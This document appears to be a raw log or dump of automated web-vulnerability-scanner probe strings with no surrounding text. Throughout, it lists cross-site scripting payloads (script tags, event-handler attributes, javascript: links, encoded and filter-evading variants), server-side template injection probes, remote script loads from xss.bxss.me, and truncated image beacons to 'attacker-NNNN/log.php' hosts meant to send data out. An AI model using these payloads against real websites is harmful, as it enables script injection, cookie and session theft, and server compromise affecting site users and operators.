555&lt

<a HrEF=http://xss.bxss.me></a>

555<input autofocus onfocus=I1YE(9554)>

555

print("dfb" . 98991*97996 . "xca")

"}dfb${98991*97996}xca

\xf6<img zzz onmouseover=aOyF(92151) //\xf6>

\xf6<img zzz onmouseover=6yQa(91061) //\xf6>

555&lt

"}dfb#{98991*97996}xca

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=aOyF(9190)>

98991*97996*98991*97996

555<input autofocus onfocus=6yQa(9227)>

555}body{zzz:Expre/**/SSion(iGxu(9430))}

\xf6<img zzz onmouseover=I8I7(93401) //\xf6>

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

"}dfb{#98991*97996}xca

<a HrEF=jaVaScRiPT:>

dfb{{{this}}}xca

555<input autofocus onfocus=I8I7(9533)>

555I68NM <ScRiPt >iGxu(9733)</ScRiPt>

555}body{zzz:Expre/**/SSion(aOyF(9390))}

dfb[[${98991*97996}]]xca

#{98991*97996*98991*97996}

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(I1YE(9818))}

"}dfb{@98991*97996}xca

555tz3oO <ScRiPt >aOyF(9988)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

dfb#{xca}=123

dfb__${98991*97996}__::.x

555<WHJH0S>O0H7N[!+!]</WHJH0S>

"}}dfb{{=98991*97996}}xca

dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(6yQa(9298))}

555<WS7BCC>MXJUG[!+!]</WS7BCC>

555iEkbo <ScRiPt >I1YE(9968)</ScRiPt>

555<ifRAme sRc=9487.com></IfRamE>

")dfb@(98991*97996)xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9478.com></IfRamE>

555<WCADK3>76BKJ[!+!]</WCADK3>

555pmGZW <ScRiPt >6yQa(9424)</ScRiPt>

"%>dfb<%=98991*97996%>xca

555}body{zzz:Expre/**/SSion(I8I7(9755))}

dfb{{98991*97996}}xca

555<ScRiPt >ASKZ(9202)</ScRiPt>

555<aQhAJun x=9726>

555<avkkuTY x=9625>

555<ifRAme sRc=9931.com></IfRamE>

555<WHLCPY>4OKXE[!+!]</WHLCPY>

555<WIGGY4>QHA19[!+!]</WIGGY4>

555<img sRc='http://attacker-9418/log.php?

dfb[[${98991*97996}]]xca

"}dfb#set($x=98991*97996)${x}xca

555QMSTx <ScRiPt >I8I7(9575)</ScRiPt>

555<ifRAme sRc=9520.com></IfRamE>

555<img sRc='http://attacker-9756/log.php?

555<aSasBf4 x=9348>

555<aiiXTE4 x=9395>

555<img sRc='http://attacker-9405/log.php?

"}dfb{{"abc"|title}}xca

dfb__${98991*97996}__::.x

555<aagb5IC<

555<aZLyEpl<

555<script>ASKZ(9061)</script>

555<WZS5XP>RZVFY[!+!]</WZS5XP>

"print("dfb" . 98991*97996 . "xca")

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9479.com></IfRamE>

555<ar8316c<

"98991*97996*98991*97996

555<img sRc='http://attacker-9752/log.php?

555<agT1zs7 x=9847>

555<script>ASKZ(9491)</script>9491

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<ScRiPt >byK8(9817)</ScRiPt>

555'"()&%<zzz><ScRiPt >nv5A(9769)</ScRiPt>

"}}}dfb{{{this}}}xca

555'"()&%<zzz><ScRiPt >elHj(9059)</ScRiPt>

555<acr5wxI<

555<img sRc='http://attacker-9943/log.php?

555<ScR<ScRiPt>IpT>ASKZ(9247)</sCr<ScRiPt>IpT>

'"()&%<zzz><ScRiPt >elHj(9466)</ScRiPt>

'"()&%<zzz><ScRiPt >nv5A(9188)</ScRiPt>

555<WB9X88>YBYYF[!+!]</WB9X88>

"}#{98991*97996*98991*97996}

"}#{98991*97996*98991*97996}

'"()&%<zzz><ScRiPt >nv5A(9188)</ScRiPt>

'"()&%<zzz><ScRiPt >elHj(9466)</ScRiPt>

555<WB9X88>YBYYF[!+!]</WB9X88>

555<ScRiPt >ASKZ(9952)</ScRiPt>

555<script>byK8(9484)</script>

5559108495

5559009919

555<aPw6Gyu<

"}dfb#{xca}=123

bfg8156\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8156

555'"()&%<zzz><ScRiPt >bq79(9855)</ScRiPt>

555<script>byK8(9957)</script>9957

'"()&%<zzz><ScRiPt >bq79(9850)</ScRiPt>

"}}dfb{{'abcd'.toUpperCase()}}xca

bfgx9133\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9133

bfg7567\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7567

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9196></ScRiPt>

555<ScR<ScRiPt>IpT>byK8(9389)</sCr<ScRiPt>IpT>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt >ASKZ(9594)</ScRiPt>

555'"()&%<zzz><ScRiPt >GWDi(9462)</ScRiPt>

5559254992

bfgx9597\xc0\xbez1\xc0\xbcz2a\x90bcxhjl9597

<%={{={@{#{${dfb}}%>

"}}dfb{{98991*97996}}xca

555<svg  \xa0onload=ASKZ(9171)

555<ScRiPt >byK8(9822)</ScRiPt>

'"()&%<zzz><ScRiPt >GWDi(9613)</ScRiPt>

bfg10558\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10558

555

<%={{={@{#{${dfb}}%>

bfgx3991\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3991

5559734753

"}dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9273></ScRiPt>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<isindex type=image src=1 onerror=ASKZ(9708)>

bfg9717\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9717

555<ScRiPt >byK8(9395)</ScRiPt>

bfgx5703\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5703

"dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

555

555

<%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<svg  \xa0onload=byK8(9469)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

'}}dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=byK8(9613)>

555<body onload=ASKZ(9097)>

<th:t="${dfb}#foreach

555

dfb{{98991*97996}}xca

'%}dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=ASKZ(9924)>

555

555

dfb{{98991*97996}}xca

555<iframe src='data:text/html

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=ASKZ(9679)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}dfb{98991*97996}xca

dfb[[${98991*97996}]]xca

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9493)>

555<body onload=byK8(9941)>

555

dfb__${98991*97996}__::.x

'}dfb${98991*97996}xca

dfb{98991*97996}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%41%53%4B%5A%289197%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=byK8(9617)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

'}dfb#{98991*97996}xca

dfb${98991*97996}xca

555<ScRiPt >nv5A(9633)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb[[${98991*97996}]]xca

555\u003CScRiPt\ASKZ(9125)\u003C/sCripT\u003E

555<img src=xyz OnErRor=byK8(9778)>

'}dfb{#98991*97996}xca

dfb#{98991*97996}xca

555<ScRiPt >elHj(9874)</ScRiPt>

555<img/src=">" onerror=alert(9357)>

dfb__${98991*97996}__::.x

555&lt

dfb{#98991*97996}xca

555<WMQOMH>1L5BU[!+!]</WMQOMH>

555'"()&%<zzz><ScRiPt >YseJ(9922)</ScRiPt>

555<WO1WN8>YATCZ[!+!]</WO1WN8>

'}dfb{@98991*97996}xca

dfb{@98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%79%4B%38%289594%29%3C%2F%73%43%72%69%70%54%3E

555<script>nv5A(9200)</script>

555<script>elHj(9722)</script>

\xf6<img zzz onmouseover=ASKZ(93041) //\xf6>

555<ScRiPt >bq79(9589)</ScRiPt>

dfb{{=98991*97996}}xca

555<script>nv5A(9712)</script>9712

'"()&%<zzz><ScRiPt >YseJ(9302)</ScRiPt>

'}}dfb{{=98991*97996}}xca

555<input autofocus onfocus=ASKZ(9445)>

dfb@(98991*97996)xca

555<ScR<ScRiPt>IpT>nv5A(9448)</sCr<ScRiPt>IpT>

555\u003CScRiPt\byK8(9745)\u003C/sCripT\u003E

555<WA7SVN>CKKXM[!+!]</WA7SVN>

<a HrEF=http://xss.bxss.me></a>

555<script>elHj(9584)</script>9584

555<ScRiPt >nv5A(9240)</ScRiPt>

')dfb@(98991*97996)xca

555<script>bq79(9501)</script>

5559214684

dfb<%=98991*97996%>xca

555&lt

555<ScR<ScRiPt>IpT>elHj(9382)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9362></ScRiPt>

555<ScRiPt >elHj(9786)</ScRiPt>

bfg6312\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6312

'%>dfb<%=98991*97996%>xca

555<script>bq79(9220)</script>9220

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >nv5A(9854)</ScRiPt>

555}body{zzz:Expre/**/SSion(ASKZ(9764))}

\xf6<img zzz onmouseover=byK8(99361) //\xf6>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9920></ScRiPt>

dfb{{"abc"|title}}xca

bfgx4328\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4328

555<ScR<ScRiPt>IpT>bq79(9167)</sCr<ScRiPt>IpT>

'}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >elHj(9364)</ScRiPt>

555<svg  \xa0onload=nv5A(9757)

555<input autofocus onfocus=byK8(9220)>

print("dfb" . 98991*97996 . "xca")

555'"()&%<zzz><ScRiPt >UE9N(9837)</ScRiPt>

<%={{={@{#{${dfb}}%>

5555DvVn <ScRiPt >ASKZ(9944)</ScRiPt>

555<ScRiPt >bq79(9646)</ScRiPt>

555<svg  \xa0onload=elHj(9151)

'}dfb{{"abc"|title}}xca

555'"()&%<zzz><ScRiPt >KYQW(9109)</ScRiPt>

555<isindex type=image src=1 onerror=nv5A(9955)>

555<isindex type=image src=1 onerror=elHj(9294)>

'"()&%<zzz><ScRiPt >UE9N(9482)</ScRiPt>

555<W3QUSS>IHQZF[!+!]</W3QUSS>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9433></ScRiPt>

98991*97996*98991*97996

<th:t="${dfb}#foreach

<a HrEF=http://xss.bxss.me></a>

'print("dfb" . 98991*97996 . "xca")

'"()&%<zzz><ScRiPt >KYQW(9477)</ScRiPt>

555<iframe src='data:text/html

555<ifRAme sRc=9376.com></IfRamE>

'98991*97996*98991*97996

555<iframe src='data:text/html

555<ScRiPt >bq79(9862)</ScRiPt>

<a HrEF=jaVaScRiPT:>

dfb{@math key=98991 method="multiply" operand=97996/}xca

5559852809

555<aii04Lz x=9249>

555

555<svg  \xa0onload=bq79(9257)

5559110810

555}body{zzz:Expre/**/SSion(byK8(9193))}

dfb{{{this}}}xca

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<body onload=nv5A(9743)>

555<isindex type=image src=1 onerror=bq79(9755)>

555<body onload=elHj(9054)>

bfg2903\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2903

555<img sRc='http://attacker-9975/log.php?

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555ZwOPs <ScRiPt >byK8(9866)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=elHj(9629)>

bfgx1118\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1118

#{98991*97996*98991*97996}

bfg6846\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6846

555<a6n0W6r<

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=nv5A(9089)>

'}}}dfb{{{this}}}xca

555<WJRAAR>REOMO[!+!]</WJRAAR>

555

555<img src=xyz OnErRor=elHj(9139)>

<%={{={@{#{${dfb}}%>

'}#{98991*97996*98991*97996}

555<body onload=bq79(9687)>

555<img src=xyz OnErRor=nv5A(9263)>

555<img/src=">" onerror=alert(9126)>

555<ifRAme sRc=9790.com></IfRamE>

dfb{{98991*97996}}xca

dfb#{xca}=123

bfgx6020\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6020

'}dfb#{xca}=123

555<ai9adpW x=9851>

<%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9460)>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%6C%48%6A%289237%29%3C%2F%73%43%72%69%70%54%3E

dfb{{'abcd'.toUpperCase()}}xca

dfb[[${98991*97996}]]xca

'}}dfb{{'abcd'.toUpperCase()}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=bq79(9735)>

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9882/log.php?

555<img src=xyz OnErRor=bq79(9044)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6E%76%35%41%289454%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555

555\u003CScRiPt\elHj(9237)\u003C/sCripT\u003E

555

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555&lt

555<img/src=">" onerror=alert(9699)>

555<aTLVgpy<

555\u003CScRiPt\nv5A(9455)\u003C/sCripT\u003E

555<ScRiPt >YseJ(9991)</ScRiPt>

\xf6<img zzz onmouseover=elHj(94211) //\xf6>

'}}dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

555&lt

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=elHj(9116)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%62%71%37%39%289515%29%3C%2F%73%43%72%69%70%54%3E

'}dfb[[${98991*97996}]]xca

555

555<WZ7YGH>XBCDI[!+!]</WZ7YGH>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

\xf6<img zzz onmouseover=nv5A(93771) //\xf6>

555\u003CScRiPt\bq79(9559)\u003C/sCripT\u003E

dfb__${98991*97996}__::.x

dfb{{98991*97996}}xca

555

555<input autofocus onfocus=nv5A(9953)>

<a HrEF=jaVaScRiPT:>

555<script>YseJ(9857)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

'dfb__${98991*97996}__::.x

<a HrEF=http://xss.bxss.me></a>

555&lt

555<script>YseJ(9020)</script>9020

555<ScRiPt >GWDi(9072)</ScRiPt>

dfb[[${98991*97996}]]xca

555}body{zzz:Expre/**/SSion(elHj(9704))}

<a HrEF=jaVaScRiPT:>

dfb[[${98991*97996}]]xca

555u79Mk <ScRiPt >elHj(9823)</ScRiPt>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScR<ScRiPt>IpT>YseJ(9884)</sCr<ScRiPt>IpT>

\xf6<img zzz onmouseover=bq79(99441) //\xf6>

555}body{zzz:Expre/**/SSion(nv5A(9874))}

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

1}}dfb{{98991*97996}}xca

555<W2EHQU>OYLY0[!+!]</W2EHQU>

555<ScRiPt >YseJ(9205)</ScRiPt>

555<W6IL8D>UOKP2[!+!]</W6IL8D>

555PVq1q <ScRiPt >nv5A(9005)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=bq79(9446)>

1%}dfb{{98991*97996}}xca

555<script>GWDi(9689)</script>

555<ifRAme sRc=9706.com></IfRamE>

555<WZVCC9>B4V3P[!+!]</WZVCC9>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >UE9N(9458)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9884></ScRiPt>

1}dfb{98991*97996}xca

<a HrEF=http://xss.bxss.me></a>

555<WKZOYK>JT6WM[!+!]</WKZOYK>

555<script>GWDi(9002)</script>9002

555<aOBSF74 x=9861>

1}dfb${98991*97996}xca

555<ScRiPt >YseJ(9087)</ScRiPt>

555<ifRAme sRc=9371.com></IfRamE>

555<ScRiPt >KYQW(9291)</ScRiPt>

555<script>UE9N(9998)</script>

555<svg  \xa0onload=YseJ(9719)

<a HrEF=jaVaScRiPT:>

555<img sRc='http://attacker-9723/log.php?

555<ScR<ScRiPt>IpT>GWDi(9677)</sCr<ScRiPt>IpT>

555<aQxgzKk x=9424>

1}dfb#{98991*97996}xca

555<WWLS6D>XJKIM[!+!]</WWLS6D>

555<ahE5cRQ<

555<script>UE9N(9390)</script>9390

555<isindex type=image src=1 onerror=YseJ(9110)>

555}body{zzz:Expre/**/SSion(bq79(9875))}

555<ScRiPt >GWDi(9056)</ScRiPt>

1}dfb{#98991*97996}xca

555<ScR<ScRiPt>IpT>UE9N(9645)</sCr<ScRiPt>IpT>

555<script>KYQW(9370)</script>

555<img sRc='http://attacker-9296/log.php?

1}dfb{@98991*97996}xca

555xXDkN <ScRiPt >bq79(9802)</ScRiPt>

555<ScRiPt >UE9N(9152)</ScRiPt>

555<iframe src='data:text/html

555<script>KYQW(9962)</script>9962

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9214></ScRiPt>

555<a4yBuQa<

555'"()&%<zzz><ScRiPt >UDRg(9733)</ScRiPt>

555<WOXLP2>KCOGI[!+!]</WOXLP2>

1}}dfb{{=98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9161></ScRiPt>

555<body onload=YseJ(9057)>

555<ScR<ScRiPt>IpT>KYQW(9713)</sCr<ScRiPt>IpT>

555<ScRiPt >GWDi(9201)</ScRiPt>

555<ScRiPt >UE9N(9566)</ScRiPt>

555<svg  \xa0onload=GWDi(9064)

555<ifRAme sRc=9672.com></IfRamE>

'"()&%<zzz><ScRiPt >UDRg(9660)</ScRiPt>

555<ScRiPt >KYQW(9502)</ScRiPt>

555<svg  \xa0onload=UE9N(9823)

1)dfb@(98991*97996)xca

555<img src=//xss.bxss.me/t/dot.gif onload=YseJ(9183)>

555<isindex type=image src=1 onerror=GWDi(9133)>

555<aIWv3Q4 x=9930>

555<img src=xyz OnErRor=YseJ(9147)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9970></ScRiPt>

5559251380

555<isindex type=image src=1 onerror=UE9N(9714)>

1%>dfb<%=98991*97996%>xca

555<iframe src='data:text/html

555<img sRc='http://attacker-9648/log.php?

555<body onload=GWDi(9316)>

1}dfb#set($x=98991*97996)${x}xca

555<img/src=">" onerror=alert(9976)>

555'"()&%<zzz><ScRiPt >C1As(9583)</ScRiPt>

555<iframe src='data:text/html

555<ScRiPt >KYQW(9392)</ScRiPt>

bfg6834\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6834

1}dfb{{"abc"|title}}xca

555<akuvfCO<

555<img src=//xss.bxss.me/t/dot.gif onload=GWDi(9375)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%73%65%4A%289514%29%3C%2F%73%43%72%69%70%54%3E

'"()&%<zzz><ScRiPt >C1As(9014)</ScRiPt>

bfgx10338\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10338

1print("dfb" . 98991*97996 . "xca")

555<body onload=UE9N(9091)>

555<svg  \xa0onload=KYQW(9799)

555'"()&%<zzz><ScRiPt >CpIN(9854)</ScRiPt>

5559105879

555'"()&%<zzz><ScRiPt >7nk2(9145)</ScRiPt>

555<img src=xyz OnErRor=GWDi(9413)>

555\u003CScRiPt\YseJ(9094)\u003C/sCripT\u003E

198991*97996*98991*97996

<%={{={@{#{${dfb}}%>

555'"()&%<zzz><ScRiPt >vBc1(9679)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=UE9N(9586)>

'"()&%<zzz><ScRiPt >7nk2(9997)</ScRiPt>

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555&lt

'"()&%<zzz><ScRiPt >CpIN(9305)</ScRiPt>

bfg6783\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6783

555

555<img/src=">" onerror=alert(9838)>

555<isindex type=image src=1 onerror=KYQW(9971)>

555<img src=xyz OnErRor=UE9N(9731)>

\xf6<img zzz onmouseover=YseJ(99121) //\xf6>

5559303259

bfgx3756\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3756

'"()&%<zzz><ScRiPt >vBc1(9795)</ScRiPt>

5559553938

1}}}dfb{{{this}}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%57%44%69%289007%29%3C%2F%73%43%72%69%70%54%3E

<th:t="${dfb}#foreach

555<img/src=">" onerror=alert(9426)>

555<input autofocus onfocus=YseJ(9406)>

1}#{98991*97996*98991*97996}

555<iframe src='data:text/html

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

bfg8813\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8813

<%={{={@{#{${dfb}}%>

555\u003CScRiPt\GWDi(9122)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%45%39%4E%289231%29%3C%2F%73%43%72%69%70%54%3E

5559763426

555<body onload=KYQW(9577)>

555

bfg7211\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7211

<a HrEF=http://xss.bxss.me></a>

555\u003CScRiPt\UE9N(9005)\u003C/sCripT\u003E

1}dfb#{xca}=123

555

bfg2342\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2342

555&lt

bfgx4607\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4607

555<img src=//xss.bxss.me/t/dot.gif onload=KYQW(9869)>

<th:t="${dfb}#foreach

bfgx10213\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10213

<a HrEF=jaVaScRiPT:>

1}}dfb{{'abcd'.toUpperCase()}}xca

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555&lt

\xf6<img zzz onmouseover=GWDi(93301) //\xf6>

555

555}body{zzz:Expre/**/SSion(YseJ(9644))}

bfgx8647\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8647

dfb[[${98991*97996}]]xca

555<img src=xyz OnErRor=KYQW(9508)>

<%={{={@{#{${dfb}}%>

555

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9645)>

555TPDKN <ScRiPt >YseJ(9557)</ScRiPt>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<input autofocus onfocus=GWDi(9513)>

\xf6<img zzz onmouseover=UE9N(94531) //\xf6>

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=http://xss.bxss.me></a>

1}}dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%59%51%57%289595%29%3C%2F%73%43%72%69%70%54%3E

555<WML5TY>RWTPJ[!+!]</WML5TY>

555

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

555<input autofocus onfocus=UE9N(9506)>

<a HrEF=jaVaScRiPT:>

<th:t="${dfb}#foreach

555<ScRiPt >UDRg(9053)</ScRiPt>

555\u003CScRiPt\KYQW(9756)\u003C/sCripT\u003E

<a HrEF=http://xss.bxss.me></a>

1}dfb[[${98991*97996}]]xca

555<ifRAme sRc=9683.com></IfRamE>

dfb{98991*97996}xca

dfb{98991*97996}xca

555

555}body{zzz:Expre/**/SSion(GWDi(9240))}

555<WF5LJG>0YLYB[!+!]</WF5LJG>

1dfb__${98991*97996}__::.x

555&lt

555

<a HrEF=jaVaScRiPT:>

555<a0tkGrj x=9242>

dfb${98991*97996}xca

dfb${98991*97996}xca

555KJuJc <ScRiPt >GWDi(9567)</ScRiPt>

555<script>UDRg(9614)</script>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb#{98991*97996}xca

\xf6<img zzz onmouseover=KYQW(97071) //\xf6>

dfb#{98991*97996}xca

555}body{zzz:Expre/**/SSion(UE9N(9184))}

555<img sRc='http://attacker-9023/log.php?

dfb{#98991*97996}xca

555

555<ScRiPt >7o7a(9175)</ScRiPt>

555<script>UDRg(9436)</script>9436

555

dfb{#98991*97996}xca

555<W2XXPM>JQLEN[!+!]</W2XXPM>

555<aW8JXDY<

555<input autofocus onfocus=KYQW(9961)>

5553RB8R <ScRiPt >UE9N(9033)</ScRiPt>

555<WQKBAB>7THY0[!+!]</WQKBAB>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>UDRg(9911)</sCr<ScRiPt>IpT>

555<WANMQW>CSCNU[!+!]</WANMQW>

dfb{@98991*97996}xca

dfb{@98991*97996}xca

555<ifRAme sRc=9881.com></IfRamE>

555'"()&%<zzz><ScRiPt >dsGo(9369)</ScRiPt>

555<script>7o7a(9382)</script>

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9216.com></IfRamE>

dfb{{=98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb{{=98991*97996}}xca

555<ScRiPt >UDRg(9746)</ScRiPt>

'"()&%<zzz><ScRiPt >dsGo(9047)</ScRiPt>

dfb@(98991*97996)xca

555<script>7o7a(9686)</script>9686

<a HrEF=jaVaScRiPT:>

555<aKGnvCo x=9596>

dfb__${98991*97996}__::.x

555<aBANkYA x=9282>

dfb__${98991*97996}__::.x

5559782444

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img sRc='http://attacker-9724/log.php?

dfb<%=98991*97996%>xca

555<ScR<ScRiPt>IpT>7o7a(9178)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(KYQW(9657))}

dfb@(98991*97996)xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9987></ScRiPt>

555<img sRc='http://attacker-9654/log.php?

555CsaWK <ScRiPt >KYQW(9135)</ScRiPt>

555<aNIuLRr<

dfb#set($x=98991*97996)${x}xca

555<ScRiPt >CpIN(9178)</ScRiPt>

bfg1490\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1490

dfb<%=98991*97996%>xca

555<ScRiPt >7o7a(9140)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WDSNO5>58PWP[!+!]</WDSNO5>

555<ScRiPt >UDRg(9888)</ScRiPt>

555<a8fUw1C<

555<ScRiPt >vBc1(9349)</ScRiPt>

555<svg  \xa0onload=UDRg(9132)

555<ifRAme sRc=9512.com></IfRamE>

555'"()&%<zzz><ScRiPt >Dbot(9274)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9398></ScRiPt>

555<WQR1ON>GG2HA[!+!]</WQR1ON>

dfb{{"abc"|title}}xca

bfgx10408\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10408

dfb#set($x=98991*97996)${x}xca

'"()&%<zzz><ScRiPt >Dbot(9232)</ScRiPt>

555<adBnLTe x=9909>

555<WYNMBG>E6SIF[!+!]</WYNMBG>

555<ScRiPt >7o7a(9170)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

555<isindex type=image src=1 onerror=UDRg(9932)>

<%={{={@{#{${dfb}}%>

555<script>CpIN(9759)</script>

555<script>vBc1(9401)</script>

dfb{{"abc"|title}}xca

555<img sRc='http://attacker-9620/log.php?

555<script>CpIN(9158)</script>9158

5559825720

555

555<svg  \xa0onload=7o7a(9118)

print("dfb" . 98991*97996 . "xca")

555'"()&%<zzz><ScRiPt >fAs4(9324)</ScRiPt>

555<script>vBc1(9875)</script>9875

98991*97996*98991*97996

555<iframe src='data:text/html

555<awImajo<

555<ScR<ScRiPt>IpT>CpIN(9926)</sCr<ScRiPt>IpT>

bfg6047\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6047

dfb{@math key=98991 method="multiply" operand=97996/}xca

'"()&%<zzz><ScRiPt >fAs4(9507)</ScRiPt>

